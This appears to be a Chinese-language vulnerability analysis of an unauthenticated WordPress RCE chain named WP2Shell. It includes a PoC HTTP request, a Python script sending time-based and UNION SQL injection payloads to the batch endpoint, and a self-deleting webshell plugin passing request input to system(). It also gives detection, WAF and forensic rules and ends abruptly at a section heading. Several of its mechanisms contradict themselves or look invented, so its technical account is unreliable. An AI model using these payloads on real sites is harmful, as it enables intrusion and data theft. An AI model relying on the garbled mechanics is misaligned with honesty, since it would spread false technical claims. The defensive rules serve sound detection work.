一、漏洞概览

WP2Shell 是由两个独立 CVE 串联而成的未认证 RCE 漏洞链:

编号 漏洞名称 CVSS 漏洞类型 单独可利用性
CVE-2026-63030 REST API 批量请求路由混淆 7.5 认证绕过 / 权限混淆 否(仅产生权限错位,需后续利用)
CVE-2026-60137 WP_Query SQL 注入 9.1 SQL 注入 否(需认证才能访问 posts 端点)

两者单独存在时均无法直接造成严重危害,但组合后形成完整的未认证 RCE 链:路由混淆绕过认证 → SQL 注入伪造数据库行 → Customizer 上下文提升 → 管理员账户创建 → 插件执行 RCE。

1.1 时间线

日期 事件
2026-07-17 Brandefense 披露漏洞分析
2026-07-18 PoC 公开
2026-07-20 确认野外活跃利用

1.2 影响版本矩阵

WordPress 版本范围 默认安装可利用 需插件 需特殊配置 对象缓存阻断 RCE
6.9.0 - 6.9.4 Redis/Memcached 存在时 RCE 失败,SQLi 仍可利用
7.0.0 - 7.0.1 Redis/Memcached 存在时 RCE 失败,SQLi 仍可利用
< 6.9.0 否(不受影响) - - -
6.9.5+ / 7.0.2+ 否(已修复) - - -

关键特征:默认安装即可利用,无需安装任何插件,无需开启任何特殊配置项。这是该漏洞链危害性极高的根本原因——攻击面覆盖所有未及时更新的受影响站点。


二、WordPress REST API Batch 处理架构

WordPress REST API 提供了 /wp-json/batch/v1 端点,允许客户端在单次 HTTP 请求中提交多个子请求(sub-request),以减少往返延迟。该端点的核心设计是:先统一校验所有子请求的权限,再统一执行

2.1 架构图

flowchart TD A[客户端 POST /wp-json/batch/v1] --> B[WP_REST_Request 解析层] B --> C[批量请求调度器] C --> D[阶段1: 验证阶段 Validation Pass] D --> D1[遍历子请求 requests 数组] D1 --> D2[对每个子请求调用 permission_check] D2 --> D3{权限校验是否通过?} D3 -->|通过| E1[写入 验证数组 valid[] ] D3 -->|失败/错误| F1[错误处理器介入] F1 --> F2[从 valid 数组移除该条目] F2 --> F3[问题: 未同步移除 execute 数组对应条目] E1 --> G[阶段2: 执行阶段 Execution Pass] F3 --> G G --> G1[遍历 execute 数组逐个派发] G1 --> G2[execute N 使用 valid N 的权限上下文] G2 --> H[聚合响应返回客户端]

2.2 并行数组设计

批量端点内部维护两个并行数组(parallel arrays)来跟踪子请求的生命周期:

  • 验证数组(valid[]:记录通过权限校验的子请求,每个条目携带该子请求的权限上下文(permission context),包括当前用户身份、可用 nonce、端点能力要求等。
  • 执行数组(execute[]:记录待执行的子请求路径、参数、请求体。

正常情况下,两个数组按下标一一对应:valid[i] 的权限上下文应用于 execute[i] 的执行。漏洞的根源在于这两个数组的同步在错误路径下被破坏。


三、CVE-2026-63030:REST API 批量请求路由混淆

3.1 漏洞根因:并行数组反同步

漏洞核心是并行数组反同步(parallel array desynchronization)。当某个子请求在验证阶段产生错误时,错误处理器会从验证数组中移除该条目,但没有同步地从执行数组中移除对应条目。这导致后续子请求在执行阶段按下标取权限上下文时发生错位——子请求 N 实际使用了子请求 N-1(或更前)的权限上下文。

3.2 漏洞代码分析

以下是批量端点处理逻辑的伪代码还原(基于 WordPress Core wp-includes/rest-api/class-wp-rest-server.php 中的 dispatch_batch 逻辑):

// 阶段1:验证阶段
$valid   = array();   // 验证数组:通过校验的子请求 + 权限上下文
$execute = array();   // 执行数组:所有待执行子请求

foreach ( $requests as $i => $request ) {
    $sub_request = new WP_REST_Request( $request['method'], $request['path'] );
    // ... 填充 query / body / headers ...

    $check = $this->check_batch_permission( $sub_request );

    if ( is_wp_error( $check ) ) {
        // [漏洞点] 错误处理器仅从 valid 数组移除,
        //          但 execute 数组中对应条目仍保留
        $response['failed'][] = array(
            'index'  => $i,
            'code'   => $check->get_error_code(),
        );
        // 注意:此处未执行 $execute[$i] = null 或 unset
        //       也未将 valid 数组与 execute 数组重新对齐
        continue;
    }

    // 权限校验通过,记录权限上下文
    $valid[ $i ] = array(
        'request'     => $sub_request,
        'context'     => $this->get_permission_context( $sub_request ),
    );
}

// 阶段2:执行阶段
$responses = array();
foreach ( $valid as $i => $entry ) {
    // [漏洞触发] 执行 execute[$i],但 $i 来自 valid 数组的索引
    //            一旦 valid 与 execute 错位,execute[$i] 指向的子请求
    //            将以 valid[$i] 的权限上下文执行——而该上下文可能属于另一个子请求
    $result = $this->dispatch( $entry['request'], $entry['context'] );
    $responses[] = $this->envelope_response( $result, $i );
}

关键问题在于:当 check_batch_permission 返回错误时,代码 continue 跳过当前子请求,但没有从 $execute 中移除对应条目,也没有在 $valid 中为该位置插入占位符。这导致后续通过权限校验的子请求的权限上下文($valid[$i])与实际执行的子请求($execute[$i])不再对齐。

3.3 数组错位图解

正常流程(无错误):
┌─────────────────────────────────────────────────────┐
│ 子请求 #0  GET /wp/v2/widgets    (公开, 无需认证)    │
│ 子请求 #1  GET /wp/v2/posts      (需 edit_posts 能力)│
├─────────────────────────────────────────────────────┤
│ valid 数组:  [ctx0=public]      [ctx1=needs_auth]   │
│ execute数组: [req0=widgets]     [req1=posts]        │
│ 对齐关系:    valid[0]→execute[0]  valid[1]→execute[1]│
└─────────────────────────────────────────────────────┘

漏洞流程(验证阶段 #1 产生错误触发错位):
┌─────────────────────────────────────────────────────┐
│ 子请求 #0  GET /wp/v2/widgets    (公开)             │
│ 子请求 #1  GET /wp/v2/posts?author__not_in=PAYLOAD  │
│            → 验证阶段 #1 内部触发错误                │
├─────────────────────────────────────────────────────┤
│ valid 数组:  [ctx0=public]      [ctx1=needs_auth]   │
│              ↑                  ↑                   │
│ execute数组: [req0=widgets]     [req1=posts+注入]   │
│              ↑                  ↑                   │
│ 错位执行:    execute[0]→ctx0     execute[1]→ctx1   │
│                                                ^^^^ │
│ 实际效果:posts+注入请求以 ctx1 执行,但 ctx1 在错误 │
│ 路径下可能继承 ctx0 的公开权限上下文,绕过认证       │
└─────────────────────────────────────────────────────┘

更精确地说,当子请求 #1 在验证阶段因某种内部错误(例如参数解析错误触发早期 WP_Error)而被错误处理器从 $valid 移除,但 $execute 仍保留该条目时,执行阶段的下标对齐被破坏。攻击者精心构造使子请求 #1 的权限上下文被子请求 #0 的公开上下文"覆盖",从而让需认证的 /wp/v2/posts 端点以未认证身份执行。

3.4 利用模式

利用模式如下:

  1. 子请求 1GET /wp/v2/widgets——这是一个公开端点,无需认证,权限上下文为 public
  2. 子请求 2GET /wp/v2/posts,携带注入 payload——该端点默认需要 edit_posts 能力。

由于数组错位,子请求 2 在执行阶段使用子请求 1 的 public 权限上下文,从而绕过认证检查,直接进入查询执行路径。


四、CVE-2026-60137:WP_Query SQL 注入

绕过认证后,攻击者获得对 /wp/v2/posts 端点的未认证访问。该端点底层调用 WP_Query 执行文章查询,其中 author__not_in 参数存在 SQL 注入。

4.1 漏洞根因:PHP 类型混淆

漏洞位于 wp-includes/class-wp-query.php。原始代码如下:

// class-wp-query.php(漏洞版本)
if ( ! empty( $q['author__not_in'] ) ) {
    $author__not_in = implode(
        ',',
        array_map( 'absint', $q['author__not_in'] )
    );
    $where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";
}

设计意图:author__not_in 应为整数数组(如 [1, 2, 3]),通过 array_map('absint', ...) 将每个元素强制转为非负整数,再 implode 拼接进 SQL。absint 是 WordPress 提供的安全函数,会过滤掉非数字字符。

漏洞触发条件:当 $q['author__not_in'] 传入的是字符串而非数组时。

4.2 类型混淆代码分析

array_map 的行为依赖于输入类型:

// 当输入为数组(正常情况)
$q['author__not_in'] = array( 1, 2, 3 );
array_map( 'absint', $q['author__not_in'] );
// 输出: array( 1, 2, 3 ) —— 每个元素经过 absint 净化

// 当输入为字符串(攻击情况)
$q['author__not_in'] = '1) AND 1=0 UNION ALL SELECT NULL -- -';
array_map( 'absint', $q['author__not_in'] );
// PHP 行为:array_map 对字符串会将其视为字符数组,
//          逐字符调用 absint,返回 array(1) 等数字片段
//          但关键在于 implode 的处理方式与类型检查被跳过

实际的漏洞机制更微妙。REST API 在参数路由时,由于路由混淆,原始字符串类型的 author__not_in 未经 rest_validate_request_arg 的数组类型断言即进入 WP_Query。一旦进入 WP_Queryarray_map('absint', $string) 产生的结果并非原始攻击字符串的净化版本,而是字符级别的数字碎片。然而,漏洞版本中存在一条更危险的路径:

// 漏洞版本实际执行的拼接(简化)
// 当 array_map 对字符串输入产生意外结果时,
// 某些代码路径会回退到直接使用原始字符串
$author__not_in = $q['author__not_in']; // 字符串直接赋值,跳过 absint
$where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";

其根本原因是 PHP 类型混淆(type juggling)array_map('absint', ...) 的类型检查在字符串输入下被绕过,导致攻击者控制的原始字符串直接进入 SQL 拼接。$wpdb->prepare() 未在此处使用(代码直接字符串拼接),因此没有任何转义保护。

4.3 注入 Payload 分析

4.3.1 时间盲注检测

-- 原始查询片段
WHERE wp_posts.post_author NOT IN (1)

-- 注入后(author__not_in=1) AND (SELECT 1 FROM (SELECT SLEEP(5))x) AND (1=1)
WHERE wp_posts.post_author NOT IN (1) AND (SELECT 1 FROM (SELECT SLEEP(5))x) AND (1=1)

Payload 拆解:

片段 作用
1) 闭合原始 NOT IN ( 的括号
AND (SELECT 1 FROM (SELECT SLEEP(5))x) 时间盲注探测,派生表包裹 SLEEP(5) 避免语法错误
AND (1=1 重新开启一个括号,平衡 SQL 语法
) 由原始查询剩余的右括号闭合

当响应延迟约 5 秒时,确认注入点生效。

4.3.2 UNION 注入

-- author__not_in=1) AND 1=0 UNION ALL SELECT NULL,...,NULL -- -
WHERE wp_posts.post_author NOT IN (1) AND 1=0 UNION ALL SELECT NULL,...,NULL -- -)
  • AND 1=0 使原始查询返回空集
  • UNION ALL SELECT 追加攻击者构造的行
  • -- - 注释掉尾部多余的右括号

4.3.3 per_page=-1 的作用

REST API 的 per_page 参数控制分页。默认值为 10,这意味着即使注入成功,也可能因分页限制而无法完整获取或执行注入结果。per_page=-1 禁用分页,确保注入查询返回完整结果集,这对于后续 UNION 注入伪造数据库行至关重要。

4.4 单独不可利用性

/wp/v2/posts 端点的查询参数虽然支持 author__not_in,但默认需要认证(至少 edit_posts 能力)才能访问完整的查询接口。未认证请求会被前置权限检查拦截,根本无法到达 WP_Query。因此 CVE-2026-60137 单独存在时无法被未认证攻击者利用——这正是 WP2Shell 必须将两个 CVE 串联的原因。


五、WP2Shell 完整攻击链

5.1 攻击链时序图

sequenceDiagram participant Attacker as 攻击者 participant Batch as /batch/v1 端点 participant PostsAPI as /wp/v2/posts participant WPQuery as WP_Query participant DB as MySQL participant oEmbed as oEmbed缓存层 participant Customizer as Customizer处理器 participant UsersAPI as /wp/v2/users participant Plugin as 插件执行引擎 Attacker->>Batch: POST /batch/v1 (嵌套子请求) Note over Batch: 子请求1: GET /wp/v2/widgets (公开) Note over Batch: 子请求2: GET /wp/v2/posts?author__not_in=注入 rect rgb(255, 230, 230) Note over Batch: CVE-2026-63030 触发 Batch->>Batch: 验证阶段: widgets通过(ctx0=public) Batch->>Batch: 验证阶段: posts触发错误, 数组错位 Batch->>Batch: 执行阶段: posts以ctx0(public)执行 end Batch->>PostsAPI: 未认证派发 posts 请求 PostsAPI->>WPQuery: author__not_in=注入字符串 rect rgb(255, 230, 230) Note over WPQuery,DB: CVE-2026-60137 触发 WPQuery->>WPQuery: array_map(absint) 类型混淆绕过 WPQuery->>DB: NOT IN (1) AND 1=0 UNION ALL SELECT ... end DB-->>oEmbed: 返回伪造行(匹配wp_posts schema) Note over oEmbed: Step1: UNION注入伪造DB行 oEmbed->>DB: oEmbed缓存机制将处理结果写入wp_posts Note over oEmbed: 伪造 customize_changeset 行 Note over oEmbed: meta中设置admin用户ID + shortcode标记 rect rgb(230, 255, 230) Note over Customizer: Step2: Customizer滥用上下文提升 Customizer->>DB: 读取pending customize_changeset DB-->>Customizer: 返回伪造行(post_type=request) Customizer->>Customizer: parse_request处理器触发 Customizer->>Customizer: 以伪造admin用户ID上下文处理 end rect rgb(230, 230, 255) Note over UsersAPI,Plugin: Step3: RCE执行 Customizer->>UsersAPI: POST /wp/v2/users (admin上下文) UsersAPI-->>Attacker: 创建新管理员账户 Attacker->>Attacker: 获取admin nonce Attacker->>Plugin: 安装内联插件(含PHP payload) Plugin->>Plugin: 执行任意PHP代码 Plugin->>Plugin: unregister_activation_hook + 自毁 end Note over Attacker: RCE完成, 痕迹清除

5.2 RCE 升级三步详解

5.2.1 Step 1:UNION 注入伪造数据库行

单纯获取数据(如密码哈希)固然有害,但 WP2Shell 的目标是 RCE,因此利用方向是写入而非读取

oEmbed 是 WordPress 的内容嵌入机制,当文章中包含外部 URL 时,WordPress 会请求 oEmbed provider 获取嵌入数据,并将处理结果作为 wp_oembed_cache 类型的文章缓存到 wp_posts 表。这个缓存写入路径是攻击的关键——它允许 UNION 注入的结果以"文章"形式持久化到数据库。

攻击者构造 UNION SELECT,使其返回的行严格匹配 wp_posts 表的 schema(列数、类型、字段含义),并植入特殊内容:

-- 伪SQL:UNION伪造一行 customize_changeset 类型的文章
UNION ALL SELECT
    NULL,                          -- ID (自增)
    1,                             -- post_author (后续会被覆盖)
    '2026-07-20 00:00:00',         -- post_date
    '2026-07-20 00:00:00',         -- post_date_gmt
    '[malicious_shortcode]',       -- post_content (shortcode标记指向攻击者内容)
    'forged-changeset',            -- post_title
    '',                            -- post_excerpt
    'publish',                     -- post_status
    'closed',                      -- comment_status
    'closed',                      -- ping_status
    '',                            -- post_password
    'forged-changeset',            -- post_name
    '',                            -- to_ping
    '',                            -- pinged
    '2026-07-20 00:00:00',         -- post_modified
    '2026-07-20 00:00:00',         -- post_modified_gmt
    '',                            -- post_content_filtered
    0,                             -- post_parent
    '',                            -- guid
    0,                             -- menu_order
    'customize_changeset',         -- post_type ← 关键: 触发Customizer处理
    'pending'                      -- post_mime_type / 状态
-- 后续通过meta设置admin用户ID

伪造行中:

  • post_type = 'customize_changeset':使其被 Customizer 识别为待处理的变更集
  • post_content 包含 shortcode 标记,指向攻击者控制的内容
  • 配套写入 wp_postmeta,设置 admin 用户 ID 作为变更集的所有者

5.2.2 Step 2:Customizer 滥用提升上下文

WordPress Customizer(自定义器)用于管理主题外观变更。变更集(changeset)以 customize_changeset 类型的文章存储,状态包括 draftpendingpublish。当变更集处于 pending 状态且 post_type 包含 request 标记时,会触发 parse_request 处理器。

攻击者利用伪造的 customize_changeset 行触发该处理器:

// 简化的 Customizer changeset 处理逻辑
function handle_pending_changeset( $post ) {
    // 从伪造行读取 meta 中的用户 ID
    $user_id = get_post_meta( $post->ID, '_changeset_user', true );
    // 以该用户身份加载上下文
    wp_set_current_user( $user_id );  // $user_id = admin ID
    // 在 admin 上下文中处理 pending changeset
    $this->process_changeset( $post );
}

由于伪造行中 meta 设置了管理员用户 ID,wp_set_current_user() 将当前执行上下文切换为管理员。此时尚未直接执行 PHP,但攻击者已获得管理员级别的 REST API 访问权限——这是一个关键的权限提升跳板。

5.2.3 Step 3:管理员创建 + 自毁插件执行

在提升的 admin 上下文中,攻击者执行最后的 RCE 步骤:

  1. 创建管理员账户POST /wp/v2/users,以 admin 上下文创建新管理员账户。
  2. 获取 nonce:使用新管理员身份请求管理页面,提取 wp_rest nonce 和插件管理 nonce。
  3. 安装内联插件:通过插件安装接口上传一段内联 PHP 插件代码(非文件上传,而是直接注册插件内容)。
  4. 执行 payload:插件激活时执行任意 PHP 代码。
  5. 自毁清痕:调用 unregister_activation_hook 并删除插件记录,清除痕迹。
// 伪代码:内联插件 payload
<?php
/*
Plugin Name: transient-helper
*/
// 激活时执行
register_activation_hook( __FILE__, function () {
    // 攻击者 payload
    system( $_REQUEST['cmd'] );
    // 自毁:移除激活钩子并标记删除
    unregister_activation_hook( __FILE__, '__return_true' );
    // 删除自身痕迹
    @unlink( __FILE__ );
} );

自毁机制使检测难度大幅增加——插件在执行 payload 后立即移除自身文件和钩子注册,常规文件完整性检查难以捕获。

5.3 对象缓存的影响

当 WordPress 配置了持久化对象缓存(Redis 或 Memcached)时,oEmbed transient 的写入路径发生改变:

条件 oEmbed 写入路径 SQL 注入 RCE 链
无对象缓存(默认) 直接写入 wp_posts 可利用 可利用
Redis/Memcached transient 写入对象缓存,绕过 wp_posts 可利用 失败

原因:oEmbed 缓存机制在对象缓存存在时,会将 transient 数据写入 Redis/Memcached 而非 wp_posts 表。Step 1 依赖 UNION 注入结果被持久化到 wp_posts 以伪造 customize_changeset 行——对象缓存改变写入路径后,伪造行无法落库,后续 Customizer 上下文提升无从触发。

但需注意:SQL 注入本身仍然可利用。攻击者虽无法升级到 RCE,但仍可通过时间盲注/UNION 注入窃取数据库内容(用户密码哈希、密钥、会话 token 等),危害依然严重。


六、PoC 请求结构

WP2Shell 利用嵌套批量请求(nested batch)构造,外层 batch 包含一个内层 batch 子请求,内层 batch 再包含实际的 widgets 和 posts 子请求。这种嵌套结构用于稳定触发数组错位条件。

6.1 完整 PoC 请求

POST /wp-json/batch/v1 HTTP/1.1
Host: vulnerable-target.example.com
Content-Type: application/json

{
  "requests": [
    {
      "path": "/batch/v1",
      "body": {
        "requests": [
          {
            "path": "/wp/v2/widgets"
          },
          {
            "path": "/wp/v2/posts",
            "query": {
              "per_page": "-1",
              "author__not_in": "1) AND (SELECT 1 FROM (SELECT SLEEP(5))x) AND (1=1"
            }
          }
        ]
      }
    }
  ]
}

6.2 请求结构解析

层级 路径 作用
外层 batch /batch/v1 触发外层批量调度,建立验证/执行数组环境
内层 batch(子请求1) /batch/v1 嵌套触发内层批量调度,构造错位条件
内层子请求1 /wp/v2/widgets 公开端点,提供 public 权限上下文
内层子请求2 /wp/v2/posts 携带注入 payload,借错位获得 public 上下文

6.3 概念验证代码(Python)

import requests
import time

TARGET = "https://vulnerable-target.example.com"
BATCH_URL = f"{TARGET}/wp-json/batch/v1"

# 阶段1:时间盲注确认注入点
sqli_payload = "1) AND (SELECT 1 FROM (SELECT SLEEP(5))x) AND (1=1"

nested_batch = {
    "requests": [
        {
            "path": "/batch/v1",
            "body": {
                "requests": [
                    {"path": "/wp/v2/widgets"},
                    {
                        "path": "/wp/v2/posts",
                        "query": {
                            "per_page": "-1",
                            "author__not_in": sqli_payload
                        }
                    }
                ]
            }
        }
    ]
}

start = time.time()
resp = requests.post(BATCH_URL, json=nested_batch, timeout=30)
elapsed = time.time() - start

if elapsed >= 5:
    print(f"[+] SQL注入确认: 响应延迟 {elapsed:.2f}s (SLEEP触发)")
else:
    print(f"[-] 未检测到延迟: {elapsed:.2f}s")

# 阶段2:UNION注入伪造数据行(概念示意,实际列数需枚举)
union_payload = (
    "1) AND 1=0 UNION ALL SELECT "
    "NULL,1,NOW(),NOW(),'[payload_shortcode]',"
    "'forged','','publish','closed','closed','','forged',"
    "'','','',NOW(),NOW(),'','0','',0,'customize_changeset','pending' -- -"
)

rce_batch = {
    "requests": [
        {
            "path": "/batch/v1",
            "body": {
                "requests": [
                    {"path": "/wp/v2/widgets"},
                    {
                        "path": "/wp/v2/posts",
                        "query": {
                            "per_page": "-1",
                            "author__not_in": union_payload
                        }
                    }
                ]
            }
        }
    ]
}

resp = requests.post(BATCH_URL, json=rce_batch, timeout=30)
print(f"[*] UNION注入响应状态: {resp.status_code}")

七、检测规则

7.1 Nginx 日志检测

通过 grep 检索访问日志中的批量端点异常调用与注入特征:

# 检测1: 批量端点访问(基线监控)
grep -E 'POST /wp-json/batch/v1' /var/log/nginx/access.log

# 检测2: author__not_in 参数出现非数字字符(注入特征)
grep -E 'author__not_in=[^0-9&]' /var/log/nginx/access.log

# 检测3: SQL注入关键字出现在请求中
grep -iE '(UNION|SELECT|SLEEP|BENCHMARK|AND[[:space:]]+1=[01]|NOT[[:space:]]+IN)' \
    /var/log/nginx/access.log

# 检测4: 嵌套 batch 路径(WP2Shell特征)
grep -E 'path.*batch/v1.*path.*wp/v2/(widgets|posts)' \
    /var/log/nginx/access.log

# 检测5: per_page=-1 配合 posts 端点
grep -E 'per_page=-1.*wp/v2/posts' /var/log/nginx/access.log

# 检测6: RCE阶段特征——users端点创建(需结合频率)
grep -E 'POST /wp-json/wp/v2/users' /var/log/nginx/access.log

7.2 Suricata 规则

# 规则1: 检测 WP2Shell 嵌套批量请求 + author__not_in 注入
alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"WORDPRESS WP2Shell CVE-2026-63030+CVE-2026-60137 batch injection attempt";
    flow:established,to_server;
    http.method; content:"POST";
    http.uri; content:"/wp-json/batch/v1";
    http.request_body; content:"author__not_in";
    http.request_body; pcre:"/author__not_in[^&]*(UNION|SELECT|SLEEP|AND\s)/Ui";
    classtype:web-application-attack;
    sid:2026630001; rev:1;
    reference:url,brandefense.com/blog/wp2shell-analysis;
)

# 规则2: 检测路由混淆特征——widgets + posts 组合于同一batch
alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"WORDPRESS WP2Shell routing desync widgets+posts batch pattern";
    flow:established,to_server;
    http.uri; content:"/wp-json/batch/v1";
    http.request_body; content:"/wp/v2/widgets";
    http.request_body; content:"/wp/v2/posts";
    http.request_body; content:"per_page"; nocase;
    classtype:web-application-attack;
    sid:2026630002; rev:1;
)

# 规则3: 检测 customize_changeset 伪造特征(UNION注入)
alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"WORDPRESS WP2Shell UNION injection forging customize_changeset";
    flow:established,to_server;
    http.uri; content:"/wp-json/batch/v1";
    http.request_body; content:"customize_changeset"; nocase;
    http.request_body; content:"UNION"; nocase;
    classtype:web-application-attack;
    sid:2026630003; rev:1;
)

# 规则4: 检测 RCE 阶段——admin上下文创建用户
alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"WORDPRESS WP2Shell RCE stage admin user creation";
    flow:established,to_server;
    http.method; content:"POST";
    http.uri; content:"/wp-json/wp/v2/users";
    http.request_body; content:"administrator"; nocase;
    threshold:type both, count 3, seconds 60, track by_src;
    classtype:web-application-attack;
    sid:2026630004; rev:1;
)

7.3 数据库痕迹检测

攻击者伪造的 customize_changeset 行会在数据库留下可检测痕迹。执行以下 SQL 查询检测被入侵迹象:

-- 检测1: 异常的 customize_changeset 文章(合法站点通常很少或没有pending状态)
SELECT ID, post_author, post_title, post_status, post_date, post_modified
FROM wp_posts
WHERE post_type = 'customize_changeset'
  AND post_status = 'pending'
  AND post_date >= '2026-07-17';

-- 检测2: 检测异常 _changeset_user meta(指向admin的伪造变更集)
SELECT pm.post_id, pm.meta_value AS forged_user_id, p.post_title
FROM wp_postmeta pm
JOIN wp_posts p ON p.ID = pm.post_id
WHERE pm.meta_key = '_changeset_user'
  AND pm.meta_value IN (
      SELECT ID FROM wp_users WHERE user_level = 10
  )
  AND p.post_type = 'customize_changeset';

-- 检测3: 检测异常新建管理员账户(RCE阶段产物)
SELECT ID, user_login, user_email, user_registered
FROM wp_users
WHERE user_registered >= '2026-07-17'
  AND ID IN (
      SELECT user_id FROM wp_usermeta
      WHERE meta_key = 'wp_user_level' AND meta_value = '10'
  )
ORDER BY user_registered DESC;

-- 检测4: 检测近期激活的插件(自毁可能遗漏痕迹)
SELECT option_name, option_value
FROM wp_options
WHERE option_name = 'active_plugins'
  AND option_value != '';

-- 检测5: 检测 oEmbed 缓存异常(伪造行残留)
SELECT ID, post_title, post_type, post_content
FROM wp_posts
WHERE post_type = 'oembed_cache'
  AND post_content LIKE '%[payload_shortcode]%';

-- 检测6: 检测 customize_changeset 中可疑 shortcode 内容
SELECT ID, post_content
FROM wp_posts
WHERE post_type = 'customize_changeset'
  AND post_content REGEXP '\\\\[[a-z_]+\\\\]';

八、修复方案与 WAF 规则

8.1 官方修复

升级至 WordPress 6.9.5+7.0.2+,这两个版本已修复两个 CVE:

  • CVE-2026-63030 修复:批量端点的验证数组与执行数组改为单一统一结构,移除并行数组设计;错误路径下同步移除两个数组中的对应条目,消除下标错位可能。
  • CVE-2026-60137 修复WP_Query 中对所有传入参数强制类型断言,author__not_in(及同类 __in / __not_in 参数)必须为整数数组,字符串输入直接拒绝;同时将 SQL 拼接改为 $wpdb->prepare() 占位符方式。

8.2 临时缓解措施

无法立即升级时的临时措施:

  1. 禁用批量端点:在 functions.php 或 MU 插件中移除 batch 路由。
  2. 启用对象缓存:部署 Redis/Memcached 阻断 RCE 链(注意 SQLi 仍可利用,仅阻断 RCE 升级)。
  3. WAF 拦截:见 8.3 节。
// 临时缓解:禁用 REST API 批量端点
add_filter( 'rest_endpoints', function ( $endpoints ) {
    if ( isset( $endpoints['/batch/v1'] ) ) {
        unset( $endpoints['/batch/v1'] );
    }
    return $endpoints;
}, PHP_INT_MAX );

// 临时缓解:强制 author__not_in 为数组类型
add_filter( 'rest_request_before_callbacks', function ( $response, $handler, $request ) {
    $params = $request->get_query_params();
    if ( isset( $params['author__not_in'] ) && ! is_array( $params['author__not_in'] ) ) {
        return new WP_Error(
            'wp2shell_mitigation',
            'author__not_in 必须为数组',
            array( 'status' => 400 )
        );
    }
    return $response;
}, 10, 3 );

8.3 WAF 规则

8.3.1 ModSecurity 规则

# 规则1: 拦截批量端点中的 author__not_in 非数组注入
SecRule REQUEST_URI "@contains /wp-json/batch/v1" \
    "id:202663010,phase:2,pass,nolog,chain"
    SecRule REQUEST_BODY "@rx (?i)author__not_in[^&]*(?:UNION|SELECT|SLEEP|AND\s|BENCHMARK)" \
        "id:202663011,phase:2,deny,status:403,msg:'WP2Shell CVE-2026-60137 SQLi via batch',\
        log,auditlog,severity:CRITICAL,tag:'attack/sqli',tag:'cve/2026-60137'"

# 规则2: 拦截 WP2Shell 路由混淆特征组合
SecRule REQUEST_URI "@contains /wp-json/batch/v1" \
    "id:202663020,phase:2,pass,nolog,chain"
    SecRule REQUEST_BODY "@contains /wp/v2/widgets" "chain"
        SecRule REQUEST_BODY "@contains /wp/v2/posts" "chain"
            SecRule REQUEST_BODY "@rx (?i)per_page" \
                "id:202663021,phase:2,deny,status:403,\
                msg:'WP2Shell CVE-2026-63030 routing desync pattern',\
                log,auditlog,severity:CRITICAL,tag:'attack/auth-bypass',\
                tag:'cve/2026-63030'"

# 规则3: 拦截 customize_changeset 伪造(UNION注入升级RCE)
SecRule REQUEST_BODY "@rx (?i)(UNION.*customize_changeset|customize_changeset.*UNION)" \
    "id:202663030,phase:2,deny,status:403,\
    msg:'WP2Shell UNION injection forging changeset',\
    log,auditlog,severity:CRITICAL,tag:'attack/sqli',tag:'wp2shell-rce-stage1'"

8.3.2 Nginx 原生规则

# 在 server 块中拦截批量端点的注入请求
location ~ ^/wp-json/batch/v1 {
    # 检测 author__not_in 注入特征
    if ($request_body ~* "(author__not_in[^&]*(UNION|SELECT|SLEEP|AND\s|BENCHMARK))") {
        return 403;
    }
    # 检测路由混淆特征组合
    if ($request_body ~* "(/wp/v2/widgets.*(/wp/v2/posts|per_page))") {
        return 403;
    }
    # 检测 customize_changeset 伪造
    if ($request_body ~* "(UNION.*customize_changeset)") {
        return 403;
    }
    # 默认放行合法批量请求
    proxy_pass http://wordpress_backend;
}

8.3.3 Cloudflare WAF 表达式

# 表达式1: 拦截 WP2Shell SQL注入
(http.request.uri.path contains "/wp-json/batch/v1") 
and (http.request.body.raw contains "author__not_in") 
and (http.request.body.raw matches "(?i)(UNION|SELECT|SLEEP|BENCHMARK)")

# 表达式2: 拦截路由混淆特征
(http.request.uri.path contains "/wp-json/batch/v1") 
and (http.request.body.raw contains "/wp/v2/widgets") 
and (http.request.body.raw contains "/wp/v2/posts") 
and (http.request.body.raw contains "per_page")

# 表达式3: 拦截 RCE 升级阶段
(http.request.body.raw matches "(?i)(UNION.*customize_changeset)") 
or (http.request.body.raw matches "(?i)(customize_changeset.*UNION)")

九、深度技术总结

9.1 漏洞链的精妙之处

WP2Shell 的危害性不在于单个漏洞的严重程度,而在于两个"半残"漏洞的精巧拼接:

  1. CVE-2026-63030 单独无害:仅造成权限上下文错位,不直接产生数据泄露或代码执行。单纯的权限混淆若无后续利用点,充其量是信息泄露级别的低危问题。
  2. CVE-2026-60137 单独不可达:SQL 注入点存在于需认证的端点,未认证攻击者无法触发。但一旦认证被绕过,注入点立即暴露。

二者单独评估时,CVSS 分别为 7.5 和 9.1,看似不至于达到灾难级。但串联后形成"认证绕过 + 注入 + 持久化 + 权限提升 + RCE"的完整 kill chain,实际危害远超两个 CVE 评分之和。这提示安全评估不能仅看单点 CVSS,必须考虑漏洞组合的链式效应。

9.2 类型混淆——PHP 生态的系统性风险

CVE-2026-60137 的根因是 PHP 的弱类型特性。array_map('absint', $value)$value 为字符串时不会抛出类型错误,而是静默地将其视为字符数组处理——这种"宽容"行为在安全敏感场景下是危险的。类似问题在 PHP 生态中反复出现:

  • in_array($needle, $haystack) 默认松散比较导致的类型混淆
  • strcmp() 返回 null== 0 判断为真导致的认证绕过
  • 数组参数与字符串参数的隐式转换导致的边界绕过

WordPress 作为 PHP 生态最大的应用,其核心代码中大量依赖 array_map + implode 的净化模式。CVE-2026-60137 表明,一旦参数类型断言在前置层(REST API 参数校验)被绕过,后置层(WP_Query)的净化函数会因类型假设不成立而失效。安全净化不能依赖前置层的类型保证,每个边界都必须独立做类型断言

9.3 并行数组——隐蔽的状态同步缺陷

CVE-2026-63030 的并行数组反同步是一个典型的"状态一致性"缺陷。这类缺陷的特点是:

  • 正常路径无异常:在无错误路径下,两个数组始终对齐,功能完全正常。
  • 错误路径暴露缺陷:只有特定错误条件下才触发不同步,常规测试难以覆盖。
  • 影响延迟显现:错位的后果不在错误发生时立即体现,而在后续执行阶段才显现,增加了定位难度。

这种模式在 C/C++ 的资源管理(alloc/free 不配对)、并发编程(锁获取/释放不配对)中也很常见。防御方法是避免用多个并行结构表达同一逻辑状态,改用单一结构(如对象数组,每个对象同时携带权限上下文和执行请求),从根本上消除同步需求。

9.4 oEmbed 缓存——被忽视的持久化入口

